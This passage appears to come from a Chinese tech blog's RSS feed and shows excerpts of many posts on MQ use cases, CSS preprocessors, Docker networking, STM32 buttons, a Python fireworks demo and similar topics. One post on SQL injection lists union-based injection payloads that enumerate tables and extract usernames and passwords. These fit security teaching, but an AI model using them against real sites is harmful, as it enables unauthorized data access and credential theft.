      <description>1、异步解耦 场景描述&#xA;作为淘宝/天猫主站最核心的交易系统，每笔交易订单数据的产生会引起几百个下游业务系统的关注，包括物流、购物车、积分、阿里妈妈、流计算分析等等，整体业务系统庞大而且复杂，架构设计稍有不合理，将直接影响主站业务的连续性；&#xA;高可用松耦合架构设计&#xA;通过上、下游业务系统的松耦合设计，即便下游子系统（如物流、积分等）出现不可用甚至宕机，都不会影响到核心交易系统的正常运转；&#xA;灵活适应业务的快速增长&#xA;商场如战场，通过 MQ 的异步化设计，可以灵活高效的适应因业务快速发展而带来的变化，如新增业务系统；&#xA;2、削峰填谷 场景描述&#xA;诸如秒杀、抢红包、企业开门红等大型活动时皆会带来较高的流量脉冲，或因没做相应的保护而导致系统超负荷甚至崩溃，或因限制太过导致请求大量失败而影响用户体验，削峰填谷是解决该问题的最佳方式；&#xA;超高流量脉冲处理能力&#xA;MQ 超高性能的消息处理能力可以承接流量脉冲而不被击垮，在确保系统可用性同时，因快速有效的请求响应而提升用户的体验；&#xA;海量消息堆积能力&#xA;确保下游业务在安全水位内平滑稳定的运行，避免超高流量的冲击；&#xA;合理的成本控制&#xA;通过削弱填谷可控制下游业务系统的集群规模，从而降低投入成本；&#xA;3、顺序消息 场景描述&#xA;细数日常中需要保证顺序的应用场景非常多，比如证券交易过程时间优先原则，交易系统中的订单创建、支付、退款等流程，航班中的旅客登机消息处理等等。与FIFO原理类似，MQ提供的顺序消息即保证消息的先进先出；&#xA;严格保序&#xA;与部分开源产品不同，无论是服务上下线、扩缩容，网络不稳定等情况下，MQ 始终保证消息的有序；&#xA;高性能&amp;amp;可扩展&#xA;支持全局顺序与分区顺序，分别满足不同的业务需求，如证券交易系统中相同股别采用全局顺序，交易系统的不同订单之间采用分区顺序；分区顺序在严格保序的同时，通过分区动态扩展能力提高整体的并发与扩展能力；&#xA;4、分布式事务消息 场景描述&#xA;阿里巴巴的交易系统、支付红包等场景需要确保数据的最终一致性，大量引入 MQ 的分布式事务，既可以实现系统之间的解耦，又可以保证最终的数据一致性；&#xA;传统事务&#xA;多个系统或者应用组件之间的业务处理会耦合到一个大事务中，响应时间长，业务链路长从而影响系统的整体性能和可用性，甚至引起系统崩溃；&#xA;分布式事务&#xA;将核心链路业务与可异步化处理的分支链路进行拆分，将大事务拆分成小事务，减少系统间的交互，既高效又可靠；MQ 的可靠传输与多副本技术在确保消息不丢，At-Least-Once 特性确保数据的最终一致性；&#xA;5、大数据分析 场景描述&#xA;数据在&#34;流动&#34;中产生价值，传统数据分析大多是基于批量计算模型，而无法做到实时的数据分析，利用阿里云消息队列（MQ）与流式计算引擎相结合，可以很方便的实现将业务数据进行实时分析。&#xA;应用与分析解耦&#xA;构建应用系统和分析系统的桥梁，并将它们之间的关联解耦，同时由于数据产生非常快且数据量大，需要非常高的可扩展性；&#xA;大数据分析&#xA;可对接 Storm/Spark 实时流计算引擎，亦可对接 Hadoop/ODPS 等离线数据仓库系统；&#xA;6、分布式模缓存同步 场景描述&#xA;天猫双11大促，各个分会场琳琅满目的商品需要实时感知价格变化，大量并发访问数据库导致会场页面响应时间长，集中式缓存因为带宽瓶颈限制商品变更的访问流量，通过 MQ 构建分布式缓存，实时通知商品数据的变化；&#xA;实时数据更新&#xA;通过消息实时推送的方式，让数据实时得以更新；&#xA;降低页面响应时间&#xA;大量并发访问商品数据库，减少页面响应时间；&#xA;满足大规模访问需求&#xA;大促众多分会场，多缓存的架构设计，满足对商品变更的大量访问需求；</description>
    </item>
    <item>
      <title>Petalinux与kernel版本不匹配问题</title>
      <link>https://bchobby.github.io/posts/9dee4c2e8c5555d4589ade0c35c34dfd/</link>
      <pubDate>Tue, 04 Jan 2022 15:33:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dee4c2e8c5555d4589ade0c35c34dfd/</guid>
      <description> </description>
    </item>
    <item>
      <title>PTA 7-4 奇偶分家</title>
      <link>https://bchobby.github.io/posts/a8cf26004a3fec2f2811894d1d8cebe5/</link>
      <pubDate>Tue, 04 Jan 2022 13:26:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8cf26004a3fec2f2811894d1d8cebe5/</guid>
      <description> 给定N个正整数，请统计奇数和偶数各有多少个？&#xA;输入格式： 输入第一行给出一个正整N（≤1000）；第2行给出N个非负整数，以空格分隔。&#xA;输出格式： 在一行中先后输出奇数的个数、偶数的个数。中间以1个空格分隔。&#xA;输入样例： 9 88 74 101 26 15 0 34 22 77 结尾无空行&#xA;输出样例： 3 6 结尾无空行&#xA;#include&amp;lt;stdio.h&amp;gt; main() { int N, odd=0, i, t; scanf(&#34;%d&#34;,&amp;amp;N); for(i = 0; i &amp;lt; N; i++) { scanf(&#34;%d&#34;,&amp;amp;t); if(t&amp;amp;1)odd++; } printf(&#34;%d %d\n&#34;, odd, N-odd); return 0; } </description>
    </item>
    <item>
      <title>idea启动项目报错Error:(5, 52) java: 程序包org.springframework.scheduling.annotation不存在</title>
      <link>https://bchobby.github.io/posts/cde96bd3b736782a4bd2c9a905bf4a0d/</link>
      <pubDate>Tue, 04 Jan 2022 11:49:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cde96bd3b736782a4bd2c9a905bf4a0d/</guid>
      <description>好好的一个项目别人idea都能够启动，我来运行就是不行。项目是没有问题的，clean install也是没有问题的。&#xA;下面是解决方案</description>
    </item>
    <item>
      <title>前端学习笔记-CSS扩展语言（LESS SCSS）</title>
      <link>https://bchobby.github.io/posts/5445cab0c2cd7326ceb1cc7bbb9fc4a3/</link>
      <pubDate>Mon, 03 Jan 2022 21:15:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5445cab0c2cd7326ceb1cc7bbb9fc4a3/</guid>
      <description>CSS扩展语言 LESS安装变量嵌套规则混合运算继承less避免编译 SCSS数据类型运算1. 数字运算符2. 关系运算符3. 相等运算符4. 布尔运算符5. 颜色值运算6. 运算优先级 嵌套语法其他语法rules与指令控制指令 LESS 安装 1.Node.js&#xA;npm install -g less&#xA;lessc styles.less styles.css&#xA;2.浏览器环境中引用&#xA;&amp;lt;link rel=“stylesheet/less” type=“text/css” href=“styles.less” /&amp;gt;&#xA;&amp;lt;script src=&#34;//cdnjs.cloudflare.com/ajax/libs/less.js/3.11.1/less.min.js&#34; &amp;gt;&amp;lt;/script&amp;gt;&#xA;变量 赋值：@变量名参数：@{变量名} 变量延迟加载，当变量作为赋值参数时，会先解析完作用域中所有变量，然后将该变量赋值给对应的变量。&#xA;嵌套规则 &amp;amp; ，指向父级对象嵌套使用 混合 混合即将一系列属性从一个规则集引入到另一个规则集的方式&#xA;普通混合&#xA;不常输出的混合&#xA;带参数的混合&#xA;带参数并且有默认值的混合&#xA;带多个参数的混合&#xA;命名参数&#xA;匹配模式&#xA;匹配函数名(@_,匹配参数1…匹配参数n){样式1}匹配函数名(匹配参数,匹配参数1…匹配参数n){样式2}调用：匹配函数名(匹配参数，实参1…实参n);//编译完后，合并样式1、样式2 arguments变量&#xA;运算 +-*/ 需加上（） 继承 可将某一样式设置封装在类里，通过调用该类，进行继承。&#xA;变量名:extend(类名 all) 若带all，表示继承该类所有的状态&#xA;性能比混合高，但灵活度比混合低，因为不能带参数进行声明&#xA;less避免编译 ~&#34;(样式计算)&#34;，样式计算交由浏览器进行计算，less不做编译&#xA;SCSS 数据类型 SassScript支持7种主要的数据类型&#xA;数字字符串颜色布尔型空值数组（list）maps，相当于JavaScript的Object 对于其他css属性值，如Unicode字符集、或!important声明，将视为无引号字符串进行处理&#xA;判断数据类型方式：type-of($value)&#xA;运算 1. 数字运算符 op1 + op2</description>
    </item>
    <item>
      <title>matlab-错误 428: 您的许可证需要进行电子邮件验证。有关说明，请在您的收件箱中查看 MathWorks 发送的电子邮件。如需其他帮助。</title>
      <link>https://bchobby.github.io/posts/4d70887443d0659449d18df19c24ad26/</link>
      <pubDate>Mon, 03 Jan 2022 16:28:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d70887443d0659449d18df19c24ad26/</guid>
      <description>很久没打开matlab，一打开重新登录的时候就出现了这个问题，但问题是收件箱里一直收不到邮件。。。&#xA;解决办法，先登录&#xA;matlab许可证中心&#xA;登录成功之后再打开matlab，应该就不会报错了。&#xA;参考：谁知道激活时出现错误428怎么解决</description>
    </item>
    <item>
      <title>SQL注入之联合查询、报错注入和sqlmap</title>
      <link>https://bchobby.github.io/posts/b3f05e251ac83dc0380b651bbfee94d5/</link>
      <pubDate>Mon, 03 Jan 2022 13:59:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3f05e251ac83dc0380b651bbfee94d5/</guid>
      <description>文章目录 SQL注入的方法方法一：联合查询方法二：报错注入extractvalue() 函数updatexml()函数 方法三：Sqlmap SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。 SQL注入的方法 方法一：联合查询 ?id=1&#39; order by 3 --+ //查询列数 ?id=-1&#39; union select 1,2,3 --+ //查看输出列 ?id=-1&#39; union select 1,(select user()),3 --+ //查询用户名 ?id=-1&#39; union select 1,(select database()),3 --+ //查询数据库名 ?id=-1&#39; union select 1,(select table_name from information_schema.tables where table_schema=&#34;数据库名&#34; limit 0,1),3--+ //单独爆出表名 ?id=-1&#39; union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=&#34;数据库名&#34;),3--+ //爆出全部表名 ?id=-1&#39; union select 1,(select group_concat(column_name) from information_schema.columns where table_name=&#34;表名&#34; and table_schema=&#34;数据库名&#34;),3--+ //查询列名，需要限定表名和库名 ?id=-1&#39; union select 1,(select concat(username,0x3a,password)from 表名 limit 0,1),3 --+ //查询username和password （limit函数） ?</description>
    </item>
    <item>
      <title>百度网盘安装，双击一闪而过没有反应</title>
      <link>https://bchobby.github.io/posts/59b5bdbbeb5ebee310432fb46638eeca/</link>
      <pubDate>Mon, 03 Jan 2022 12:22:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59b5bdbbeb5ebee310432fb46638eeca/</guid>
      <description>解决的办法以及结果截图&#xA;文档：百度网盘无法安装解决过程（有道笔记链接）.note&#xA;链接：http://note.youdao.com/noteshare?id=b24da9fe8ea07edc4f9437e95679e789&amp;amp;sub=C02095DF3C0C46C6AEF37A05B2EC1274</description>
    </item>
    <item>
      <title>第二天基础变量及八种基本数据类型</title>
      <link>https://bchobby.github.io/posts/5bb6b37781d819d46ac79cd3c3a02911/</link>
      <pubDate>Mon, 03 Jan 2022 11:58:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bb6b37781d819d46ac79cd3c3a02911/</guid>
      <description>变量：存数的&#xA;声明：-------------相当于在银行开帐户&#xA;int a; //声明一个整型的变量，名为a int b,c,d; //声明三个整型的变量，名为b,c,d //int a; //编译错误，变量不能同名 初始化：第一次赋值---------相当于给帐户存钱&#xA;int a = 250; //声明整型变量a并赋值为250 int b; //声明整型变量b b = 250; //给变量b赋值为250 b = 360; //修改变量b的值为360 int c=5,d=10; //声明两个整型变量c和d，并分别赋值为5和10 使用：---------使用的是帐户里面的钱&#xA;对变量的使用就是对它所存的那个数的使用&#xA;int a = 5; int b = a+10; //取出a的值5，加10后，再赋值给变量b System.out.println(b); //输出变量b的值15 System.out.println(&#34;b&#34;); //输出b，双引号中的原样输出 a = a+10; //在a本身基础之上增10 int c = 5000; //帐户余额 c = c-1000; //取款1000 变量在用之前必须声明并初始化&#xA;//System.out.println(m); //编译错误，变量m未声明 int m; //System.out.println(m); //编译错误，变量m未初始化 命名：&#xA;只能包含字母、数字、_和$符，并且不能以数字开头严格区分大小写不能使用关键字允许中文命名，但不建议，建议&#34;英文的见名知意&#34;、&#34;小驼峰命名法&#34;int a_2$,_4c,$_; //int a*b; //编译错误，不能包含*号等特殊符号 //int 1a; //编译错误，不能以数字开头 int aa = 5; //System.</description>
    </item>
    <item>
      <title>使用axios发送请求（不带参数和带参数）和使用mockjs</title>
      <link>https://bchobby.github.io/posts/2183daa2be501ee85a78dc6b0481e3ed/</link>
      <pubDate>Sun, 02 Jan 2022 22:49:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2183daa2be501ee85a78dc6b0481e3ed/</guid>
      <description>一、使用axios获取后端数据并使用（不带参数）&#xA;1.对axios进行封装 network/request.js&#xA;import axios from &#39;axios&#39; import nprogress from &#39;nprogress&#39;//引入进度条 import &#34;nprogress/nprogress.css&#34; const requests = axios.create({ baseURL:&#39;/api&#39;, timeout:5000 }); //请求拦截 requests.interceptors.request.use((config)=&amp;gt;{ nprogress.start()//进度条开始 return config; }) //响应拦截 requests.interceptors.response.use((res)=&amp;gt;{ nprogress.done()//进度条结束 return res.data; },(err)=&amp;gt;{ }); export default requests; 对api进行统一管理 network/index.js&#xA;//对API进行统一管理 import requests from &#39;./request&#39;; import mockrequest from &#39;./mockrequest&#39; //下面是三级联动导航栏接口 export const getCategoryList = () =&amp;gt; requests({url:&#39;/product/getBaseCategoryList&#39;,method:&#39;get&#39;}); //获取首页轮播图的接口 export const swiper = () =&amp;gt; mockrequest({url:&#39;/swiper&#39;,method:&#39;get&#39;}); 2.在要获取的数据页面通过dispatch访问仓库里面actions（actions里面可以处理异步，向服务器发送请求）&#xA;mounted() { this.$store.dispatch(&#34;getSwiperList&#34;); //通过dispatch访问仓库store中actions里面的东西,即发送请求 } 3.</description>
    </item>
    <item>
      <title>docker-compose的docker容器绑定host</title>
      <link>https://bchobby.github.io/posts/a660ab4439869e234f2311a55e434f0d/</link>
      <pubDate>Sun, 02 Jan 2022 21:48:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a660ab4439869e234f2311a55e434f0d/</guid>
      <description>docker容器是默认绑定docker0，然后动态分配IP的，但是这种默认方式存在几个问题：&#xA;问题1：docker容器的docker0网段IP在各服务器在路由上不是能够互相通信的，那么会导致在各服务器上的容器内的应用不能互相通信。&#xA;问题2：docker容器的docker0网段IP在各服务的IP网段是相同的，那么会导致各服务器上的容器分配的IP重复&#xA;最好的方案是什么呢？还是绑定主机的host，哪来的那么多破事！&#xA;将原来的docker-compose.yml文件中的&#xA;ports:&#xA;- &#34;8080:8080&#34;&#xA;替换成&#xA;network_mode: &#34;host&#34;&#xA;即可</description>
    </item>
    <item>
      <title>安装指定版本的tensorflow</title>
      <link>https://bchobby.github.io/posts/66f5f809c5b944a39ab9c26dd73bac06/</link>
      <pubDate>Sun, 02 Jan 2022 14:08:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66f5f809c5b944a39ab9c26dd73bac06/</guid>
      <description>安装指定版本的tensorflow&#xA;pip install tensorflow-gpu==1.10.0 -i https://pypi.tuna.tsinghua.edu.cn/simple</description>
    </item>
    <item>
      <title>【云计算学习教程】统一身份认证（IDS）是什么？云端如何应用统一身份认证？</title>
      <link>https://bchobby.github.io/posts/1905e55517fb31e6531a2554e3ab497c/</link>
      <pubDate>Sun, 02 Jan 2022 00:08:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1905e55517fb31e6531a2554e3ab497c/</guid>
      <description>以前去井冈山游玩，里面的每个景点都要单独排队购票，很烦琐。现在已改为通票，上山时只需购买一张通票，就可以直接进入任何景点游玩，在每个景点门口出示一下通票即可，一路畅通无阻，既方便又省时。&#xA;什么人可以进去、进去后可访问什么资源，以及事后承担什么责任，这是人类社会每天都在发生的事情，如景区参观、厂区上班等。&#xA;云端包含很多应用系统，而且租户的家目录还要漫游，统一身份认证就相当于景区的通票，登录云端时只需一次验证，之后就可以进入任何有权进入的应用系统。&#xA;统一身份认证与单点登录是同一个概念。如果没有统一身份认证，那么你进入任何一个应用系统都要求输入账号和密码，这样一方面难以记住众多的账号和密码，另一方面使用云端资源很烦琐。&#xA;对于云端应用系统的访问控制，通常分为三个层面：&#xA;认证：解决能否进入的问题。授权：解决进入后能做什么的问题。记账：解决做了事情后就要承担相应责任的问题，可能还要付费。 这就是通常所说的 3A 安全机制（Authentication，Authorization，Accountability）。基于 3A 安全机制的访问控制在现代操作系统中被普遍采用，例如 Linux 操作系统访问控制步骤如下：&#xA;1）用户输入账号和密码企图登录系统，此时操作系统会进行认证（Authentication），即核对输入的账号和密码与保存在系统里的账号和密码是否相符。如果相符，则允许登录。&#xA;2）登录后的用户并不能为所欲为，其每一步操作都必须被授权（Authorization），比如允许进入什么目录、哪些文件允许读、哪些文件允许写、哪些文件允许删除等，都处于操作系统严密的监视之下。&#xA;3）用户的全部操作都被作为日志记录下来（Accountability），方便以后落实责任、事后监督，并作为付费的依据。&#xA;Windows 操作系统也采用相同的方法。&#xA;作为云端的统一身份认证系统，必须实现以下四个功能：&#xA;1）统一用户管理（Identification） 租户的账号、密码等信息集中存储，统一管理。&#xA;2）身份鉴别（Authentication） 当租户企图登录某个应用系统时，验证他的票据或者身份是否合法。&#xA;3）权限控制（Authorization） 规定允许登录系统的租户具备哪些操作权限。&#xA;4）操作日志登记（Accountability） 记录租户的操作行为，以便事后责任追溯。&#xA;有了统一身份认证，租户登录云端并访问应用系统的过程如图 1 所示。&#xA;图 1 租户登录云端并访问应用系统的过程&#xA;租户甲首次登录云端的应用系统 5（第 1 步），但被告知要先去统一认证中心获取票据（第 2 步），拿到票据之后返回并访问应用系统 5（第 3 步），然后凭票据直接访问应用系统 3（第 4 步）、应用系统 2（第 5 步）、应用系统 1（第 6 步）。&#xA;租户在访问每个应用系统时，应用系统都会查验他的票据，只有票据合法才被允许进入。应用系统在查验票据时都会与统一认证中心确认，不过这一切都是自动的，租户自己感觉不到，但当租户企图访问没有被授权的应用系统时，就会被告知“没有权限”。&#xA;不管租户最先访问哪个应用系统，只要租户没有票据或者出示的票据已经过期，都会引导其先去统一认证中心获取票据。但需要注意的是，对租户来说，获取票据的动作只是在屏幕上输入账号和密码，账号和密码的验证、票据的发放等操作都在云端后台自动完成，此后该租户再访问其他应用系统时，就不会在屏幕上显示输入账号和密码的登录画面，因为云端后台自动帮他出示了合法的票据。&#xA;SOA（面向服务的架构）是什么？ SOA 是面向服务的架构，即企业的 IT 系统是由服务组成的，也即企业的各个应用系统是由许多标准的服务件“组装”起来的，组成应用系统中的各个服务之间是一种非常松耦合的关系。&#xA;服务基于简单的“问/答”模型——我问你问题，你给我答案，那么对于“我”来说，“你”就是“服务”。但是答案反馈有同步和异步之分，同步就是我问你问题并在线等待你答复，而异步就是我问完你问题就去忙其他事情了，你有了答案之后再通知我。&#xA;在软件行业，基于这种服务的编程思想最早表现为函数，即把经常用到的代码块定义成一个函数并取一个函数名，再用函数名替换程序中原先的代码块（称为函数调用）。&#xA;比如通过三条边计算三角形的面积，这个任务包含复杂的数学公式，涉及很多条指令，我们可以把它定义为函数 sane（x，y，z），然后在程序需要计算三角形面积时直接调用这个函数即可。比如 sane（10，20，25），就会返回边长为 10、20、25 的三角形的面积。&#xA;后来人们觉得函数还不够灵活，就提出了模块，模块比函数功能更强，程序就是由模块组装起来的。当然，编写具体的模块时会继续采用函数。模块本质上就是一组类库（一个类库文件包含若干定义好了的功能较为强大的函数），允许软件开发人员调用类库中的函数。&#xA;一些好的面向特定应用领域的模块以开源或者商业模式对外发布，世界各地的其他开发人员可以直接利用这些模块来开发自己的应用程序，从而减少大量重复性的代码编写工作，这样的模块人们习惯称之为框架。例如，利用 Python 语言开发网站的框架 Django，它就是一组类库，编程人员必须掌握需要用到的每个类库函数的定义，才能快速开发网站。</description>
    </item>
    <item>
      <title>linux c语言sleep的时间实验</title>
      <link>https://bchobby.github.io/posts/e397f4649c0fa8ab23d1bf8396f923f5/</link>
      <pubDate>Sat, 01 Jan 2022 22:51:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e397f4649c0fa8ab23d1bf8396f923f5/</guid>
      <description>1.不使用sleep,循环10000次&#xA;/* 1.c */ #include &amp;lt;sys/time.h&amp;gt; #include &amp;lt;stdio.h&amp;gt; void main(void) { struct timeval start, end; int i; float time_use=0; gettimeofday(&amp;amp;start, NULL); for(i=0; i&amp;lt;10000; i++) { ; } gettimeofday(&amp;amp;end, NULL); time_use=(end.tv_sec-start.tv_sec)*1000000+(end.tv_usec-start.tv_usec);//微秒 printf(&#34;time_use is %.10f\n&#34;,time_use); } 运行结果：&#xA;time_use is 51.0000000000 2.使用sleep(0)，循环10000次&#xA;/* 0.c */ #include &amp;lt;sys/time.h&amp;gt; #include &amp;lt;stdio.h&amp;gt; void main(void) { struct timeval start, end; int i; float time_use=0; gettimeofday(&amp;amp;start, NULL); for(i=0; i&amp;lt;10000; i++) { sleep(0); } gettimeofday(&amp;amp;end, NULL); time_use=(end.tv_sec-start.tv_sec)*1000000+(end.tv_usec-start.tv_usec);//微秒 printf(&#34;time_use is %.</description>
    </item>
    <item>
      <title>STM32MP157实验（三）——按键扫描和中断</title>
      <link>https://bchobby.github.io/posts/952d87e6ed3379290f029fff395264b7/</link>
      <pubDate>Sat, 01 Jan 2022 21:22:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/952d87e6ed3379290f029fff395264b7/</guid>
      <description>文章目录 按键扫描设计需求基础知识硬件设计STM32CubeIDE设计MX设置代码设计 实验结果 按键中断设计需求基础知识硬件设计STM32CubeIDE设计MX设置代码设计 总结 按键扫描 设计需求 通过按键扫描的方式实现，按下KEY_USER1（KEY1）按键，点亮LED_GREEN,再次按下熄灭LED_GREEN;按下KEY_USER2(KEY2)按键，点亮LED_YELLOW，再次按下熄灭LED_YELLOW.&#xA;基础知识 前面LED灯是控制GPIO输出，而按键则是读取GPIO电平，从而获知按键是否按下。&#xA;按键检测一般有两种：按键扫描（类似于轮询）和按键中断（中断检测）。&#xA;按键扫描：是间隔很短时间反复查询GPIO状态，从而的值是否有按键动作，这种方式简单，但是比较耗费资源。按键中断则是通过按键产生中断信号，从而实现按键的检测，这种方式需要使用到中断机制，需要对MCU有一定的了解。后面的按键中断实验将会详细介绍&#xA;按键一般占用一个GPIO口，通过检测该GPIO的电平变化得知按键操作，我们查看按键原理图如下&#xA;通过原理图我们可以分析出，当按键没有按下的时候，3.3V的VDD通过电阻直接连在我们的GPIO口上（PG2），那么我们的MCU读取到的PG2GPIO口的电平就是高电平。当我们的按键按下，左边电路导通，那么我们的GPIO口的电平就是低电平，MCU读取到的电平就是低电平。&#xA;我们常用的按键都是机械触点式按键，机械式按键在按下或释放过程中，由于机械弹性作用的影响，会伴随着机械抖动，如下所示：&#xA;抖动的时长与机械开关特性相关，一般为5ms-10ms。在这个抖动过程中，会产生多次高低电平，所以为了确定电平的稳定性，我们需要截取稳定的电平断，所以我们需要进行按键的消抖。按键消抖可以硬件上处理，即在硬件旁并联电容，吸收抖动的电平。也可以软件处理，即通过延时，避开抖动。&#xA;硬件设计 开发板上有4个按键，其中两个是复位按键和唤醒按键，这次实验不会介绍，后面介绍。另外两个按键就是我们的上面的KEY1和KEY2.KEY1接在了MCU的PG3脚，并且并联了一个C34电容用于硬件的消抖，还并联了一个TVS二极管防静电。同理，KEY2接在了PG2上。&#xA;STM32CubeIDE设计 MX设置 注意这里的红绿两个灯也需要配置，就像第一个实验那样&#xA;代码设计 driver_led.h&#xA;#ifndef DRIVER_LED_H_ #define DRIVER_LED_H_ #include &#34;main.h&#34; #include &#34;stm32mp1xx_hal.h&#34; #define LED_GREEN_ON() HAL_GPIO_WritePin(LED_GREEN_GPIO_Port, LED_GREEN_Pin, GPIO_PIN_RESET) #define LED_GREEN_OFF()&#x9;HAL_GPIO_WritePin(LED_GREEN_GPIO_Port, LED_GREEN_Pin, GPIO_PIN_SET) #define LED_YELLOW_ON() HAL_GPIO_WritePin(LED_YELLOW_GPIO_Port, LED_YELLOW_Pin, GPIO_PIN_RESET) #define LED_YELLOW_OFF() HAL_GPIO_WritePin(LED_YELLOW_GPIO_Port, LED_YELLOW_Pin, GPIO_PIN_SET) extern void DemoLedInit(void); extern void LedBlinking(void); #endif /* DRIVER_LED_H_ */ driver_key.h&#xA;#ifndef DRIVER_KEY_H_ #define DRIVER_KEY_H_ #include &#34;driver_led.h&#34; #include &#34;</description>
    </item>
    <item>
      <title>koajsAdmin已经开源了，element-ui &#43; koa &#43; mongodb 全栈搭建后台管理系统</title>
      <link>https://bchobby.github.io/posts/456b806c82bcfe6ef5bbc64ec78c5657/</link>
      <pubDate>Sat, 01 Jan 2022 13:40:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/456b806c82bcfe6ef5bbc64ec78c5657/</guid>
      <description>koajsAdmin介绍 koajsAdmin是一款后台管理框架，全栈用node进行开发。前端用的element-ui + vite进行构建，后端用的koa + mongodb进行构建。运行guiplan低代码开发工具即可快速建站，可视化配置数据库，可视化配置接口，可视化搭建后台界面。 文章目录 koajsAdmin介绍前言一、前端使用步骤1.下载框架2. 安装前端插件3. 启动前端服务4. 停止服务 二、后端步骤1. 安装后端插件2.启动后端服务3.数据库连接配置 注册与登录1.注册2. 登录 前言 随着时代的进步各种框架也层出不穷，各种技术也在不断更新。我们也需要不断学习。 在之前的版本中还在用express + iview搭建前后端。而随着技术的更新升级，我们也不得不更换更好的框架，最新的技术。webpack也换成了vite。与时俱进所以软件也是非常的灵活，适用于大众。&#xA;一、前端使用步骤 1.下载框架 下载koajsAdmin开源框架&#xA;可直接下载也可以用git命令下载&#xA;git clone https://gitee.com/zhoushuigui/koajs-admin 也可以打开软件之后直接点击按钮来下载&#xA;2. 安装前端插件 可直接输入命令&#xA;npm install&#xA;也可以在软件中点击一下图标自动安装，软件会检测当前项目是否下载，如果下载了会检测当前项目是否安装，未安装会出现一下安装按钮。&#xA;3. 启动前端服务 注意：启动之前电脑需要安装vite脚手架&#xA;输入以下命令&#xA;npm run dev&#xA;同样的如果项目已经安装也可以直接在软件中点击启动按钮来启动前端服务&#xA;4. 停止服务 关闭命令窗口即可&#xA;或者在软件中点击停止图标&#xA;二、后端步骤 1. 安装后端插件 后端代码全部放在servers文件夹中&#xA;打开这个servers文件夹目录，然后输入以下命令即可安装&#xA;npm install&#xA;2.启动后端服务 注意：后端服务启动需要nodemon插件支持，nodemon插件作用是每次修改后端代码即可自动重启后端服务。&#xA;可用以下命令全局安装nodemon&#xA;npm install nodemon -g&#xA;启动后端服务输入以下命令&#xA;npm run dev&#xA;3.数据库连接配置 koajsAdmin用的是mongodb数据，所以电脑需要安装mongodb数据库。&#xA;在.env文件夹中可以修改各种配置&#xA;详情请看以下注释&#xA;NODE_ENV=dev SERVER_PORT=8086 // 服务端口号 DB_HOST=localhost // 数据库地址 DB_NAME=koaadmin // 数据库名称 DB_USER= // 数据库用户名，无需密码登录可不填写 DB_PASSWORD= // 数据库密码 无需密码登录可不填写 DB_PORT=27017 // 数据库端口号 JWT_SECRET=245509608@qq.</description>
    </item>
    <item>
      <title>元旦到了，手把手教你用 Python 制作一个炫酷烟花秀</title>
      <link>https://bchobby.github.io/posts/36effddc159d94d362f594642a32aa23/</link>
      <pubDate>Sat, 01 Jan 2022 12:19:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36effddc159d94d362f594642a32aa23/</guid>
      <description>大家好，我是小张，&#xA;今天是2021 的最后一天，到了这个时间点，部分小伙伴已经开始复盘这一年的得与失。比如今年增加了多少技能点，看了多少本书，写了多少篇文章或者年前的小目标实现进度大概多少等等；做一个象征性的年终总结来告别2021，迎接2022：&#xA;本篇文章，带大家用 Python 制作一个炫酷烟花秀，来迎接即将到来的元旦佳节。开始之前先看一下最终效果&#xA;环境介绍：&#xA;语言：Python；&#xA;库：Pygame；&#xA;原理介绍 在介绍代码之前，先介绍下 Pygame 绘制烟花的基本原理，烟花从发射到绽放一共分为三个阶段：&#xA;1，发射阶段：在这一阶段烟花的形状是线性向上，通过设定一组大小不同、颜色不同的点来模拟“向上发射” 的运动运动，运动过程中 5个点被赋予不同大小的加速度，随着时间推移，后面的点会赶上前面的点，最终所有点会汇聚在一起，处于 绽放准备阶段；&#xA;2，烟花绽放：烟花绽放这个阶段，是由一个点分散多个点向不同方向发散，并且每个点的移动轨迹可需要被记录，目的是为了追踪整个绽放轨迹。&#xA;3，烟花凋零，此阶段负责描绘绽放后烟花的效果，绽放后的烟花，而在每一时刻点的下降速度和亮度（代码中也叫透明度）是不一样的，因此在代码里，将烟花绽放后将每个点赋予两个属性：分别为重力向量和生命周期，来模拟烟花在不同时期时不同的展现效果，&#xA;代码实操 代码部分将烟花封装为三个类：&#xA;Firework : 烟花整体；&#xA;Particle： 烟花粒子（包含轨迹）&#xA;Trail： 烟花轨迹，本质上是一个点 。&#xA;三个类之间的关系为：一个Firework 由多个 Particle 构成，而一个 Particle 由多个 Trail 构成&#xA;首先设置全局变量，例如重力向量，窗口大小，Trail 的颜色列表（多为灰色或白色）以及不同状态下 Trail 之间间隔&#xA;gravity = vector(0, 0.3) DISPLAY_WIDTH = DISPLAY_HEIGHT = 800 trail_colours = [(45, 45, 45), (60, 60, 60), (75, 75, 75), (125, 125, 125), (150, 150, 150)] dynamic_offset = 1 static_offset = 3 创建 Trail 类，定义 show 方法绘制轨迹 、get_pos 实时获取轨迹坐标</description>
    </item>
    <item>
      <title>通俗易懂的YOLO系列（从V1到V5）模型解读！</title>
      <link>https://bchobby.github.io/posts/4791a2081aa6d93073f3ee55416e5b7d/</link>
      <pubDate>Sat, 01 Jan 2022 10:05:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4791a2081aa6d93073f3ee55416e5b7d/</guid>
